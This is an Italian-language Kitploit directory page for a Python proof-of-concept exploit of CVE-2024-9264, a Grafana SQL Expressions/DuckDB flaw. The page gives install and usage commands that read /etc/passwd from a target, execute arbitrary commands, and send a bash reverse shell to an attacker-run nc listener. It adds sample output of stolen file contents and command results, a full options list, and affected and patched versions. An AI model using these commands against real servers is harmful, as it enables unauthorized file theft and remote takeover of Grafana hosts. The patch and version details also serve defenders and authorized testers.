Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-9264 — CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC | Kitploit
Strumenti/GitHubGitHub/ozcanpng/cve-2024-9264
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingCommand and ControlApprendimento e Formazione
GitHubozcanpng/cve-2024-9264

CVE-2024-9264

CVE-2024-9264 Grafana SQL Expressions DuckDB LFI/RCE PoC

Vedi Repository
303 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-9264 - PoC LFI/RCE per le SQL Expressions DuckDB di Grafana

Proof of concept in Python per CVE-2024-9264, una vulnerabilità delle SQL Expressions di Grafana che può consentire l'inclusione locale di file e l'esecuzione di comandi autenticati quando duckdb è disponibile nel PATH del processo Grafana.

Solo per test autorizzati e ricerca. Non utilizzare contro sistemi che non possiedi o per cui non hai esplicita autorizzazione al test.


Cosa fa

authenticated Grafana API access -> SQL Expressions DuckDB query -> file read -> optional shellfs command execution
  1. Invia una richiesta autenticata all'endpoint di query del datasource SQL Expressions di Grafana.
  2. Legge i file con DuckDB read_blob(). Se viene richiesta l'esecuzione di comandi, /etc/passwd viene usato come file di validazione predefinito.
  3. Carica opzionalmente DuckDB shellfs ed esegue un comando tramite una chiamata read_csv() supportata da pipe.
  4. Legge l'output del comando da /tmp/cve_2024_9264_out e stampa il risultato decodificato.

L'endpoint vulnerabile può essere chiamato direttamente tramite API; non è richiesta l'interazione con la UI della dashboard. L'autenticazione è comunque richiesta.


Screenshot

Esecuzione di comandi

Prova di esecuzione comandi

Payload di Reverse Shell

Consegna payload reverse shell

Listener di Reverse Shell

Listener reverse shell


Installazione

git clone https://github.com/ozcanpng/CVE-2024-9264.git
cd CVE-2024-9264
python3 -m pip install -r requirements.txt

Utilizzo

Lettura di File

python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --file /etc/passwd

Quando si usa --file da solo, lo script legge direttamente quel file e stampa il contenuto decodificato nella sezione dei risultati della lettura file.

Esecuzione di Comandi

python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --cmd id

Lo script esegue prima una validazione predefinita di lettura di /etc/passwd, quindi consegna il payload del comando. Nella sezione dei risultati stampa l'output decodificato del comando invece della risposta JSON grezza di Grafana.

Reverse Shell

Avvia un listener:

rlwrap nc -lvnp 4444

Invia il payload della reverse shell:

python3 CVE-2024-9264.py -u http://target:3000 --username admin --password admin --reverse-shell --lhost 10.10.14.7 --lport 4444

Dry Run

python3 CVE-2024-9264.py -u http://target:3000 --cmd id --dry-run

Debug

python3 CVE-2024-9264.py -u http://target:3000 --cmd id --debug

Opzioni

Queste opzioni si basano sulla CLI attuale dello script:

-u, --url, --target TARGET
                        Target URL, e.g. http://localhost:3000
--username USERNAME     Grafana username. Default: admin
--password PASSWORD     Grafana password. Default: admin
--file FILE             File path to read. Default proof path: /etc/passwd
--expected-marker MARKER
                        Marker expected in file read response. Default: root:
--cmd CMD               Command to execute through the DuckDB shellfs path
--reverse-shell         Run a bash reverse shell payload
--lhost LHOST           Listener host for --reverse-shell
--lport LPORT           Listener port for --reverse-shell
--timeout TIMEOUT       HTTP timeout in seconds. Default: 20
--verify-tls            Verify TLS certificates. Default: enabled
-k, --insecure          Disable TLS certificate verification
--dry-run               Print target and payload metadata without sending requests
--debug                 Print request debugging metadata

Output di Esempio

Lettura File

[STEP 2] File Read Result
--------------------------------------------------------------------
[*] File path    : /etc/passwd
[*] HTTP status  : 200
[+] File content read successfully.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
grafana:x:472:0::/home/grafana:/usr/sbin/nologin

Esecuzione Comandi

[STEP 4] Result
--------------------------------------------------------------------
[*] HTTP status  : 200
[+] Payload accepted by Grafana.
uid=472(grafana) gid=0(root) groups=0(root)

Versioni Affette

ProdottoVersione AffettaAccesso RichiestoImpatto
Grafana OSS / EnterpriseGrafana 11.0.x, 11.1.x e 11.2.x precedenti alle release di sicurezza corretteViewer o superioreInclusione locale di file e injection di comandi quando DuckDB è presente nel PATH di Grafana

Grafana segnala che lo sfruttamento richiede che il binario duckdb sia presente nel PATH del processo Grafana; le distribuzioni normali di Grafana non installano DuckDB per impostazione predefinita.


Note

  • Sono richieste credenziali Grafana valide.
  • L'account deve avere permessi di Viewer o superiori.
  • Lo sfruttamento diretto tramite API non significa sfruttamento non autenticato; le richieste richiedono comunque una sessione valida o credenziali Basic Auth.
  • La lettura dei file viene usata come primo step di validazione prima dell'esecuzione dei comandi.
  • L'esecuzione dei comandi dipende da DuckDB e dal comportamento dell'estensione shellfs nell'ambiente target.
  • Per target TLS con certificati autofirmati, usa -k o --insecure.
  • Le release di sicurezza corrette includono Grafana 11.0.5+security-01, 11.1.6+security-01, 11.2.1+security-01, 11.0.6+security-01, 11.1.7+security-01 e 11.2.2+security-01.

Riferimenti

  • Advisory Grafana - CVE-2024-9264
  • Blog release di sicurezza Grafana
  • NVD - CVE-2024-9264

Autore

ozcanpng - github.com/ozcanpng - ozcanpng.dev

Scarica lo strumento